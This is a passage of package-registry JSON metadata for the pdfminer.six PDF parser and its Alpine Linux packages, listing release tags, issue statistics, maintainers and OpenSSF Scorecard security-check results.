uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:09.695Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.19","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":"clandmeter@alpinelinux.org","url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":329,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2026-03-01T02:42:04.297Z","updated_at":"2026-03-01T02:42:04.297Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.19","url":"https://pkgs.alpinelinux.org/packages?branch=v3.19","ecosystem":"alpine","default":false,"packages_count":23031,"maintainers_count":392,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-12-20T09:51:56.346Z","updated_at":"2026-04-27T18:20:23.384Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/namespaces"}},{"id":8677561,"name":"py3-pdfminer-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-pdfminer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-04-25T07:00:46.000Z","latest_release_published_at":"2023-04-25T07:00:46.000Z","latest_release_number":"20221105-r1","last_synced_at":"2026-04-01T03:27:08.256Z","created_at":"2023-12-20T10:29:08.545Z","updated_at":"2026-04-01T03:27:08.256Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.19/community/x86_64/py3-pdfminer-pyc","install_command":"apk add py3-pdfminer-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is 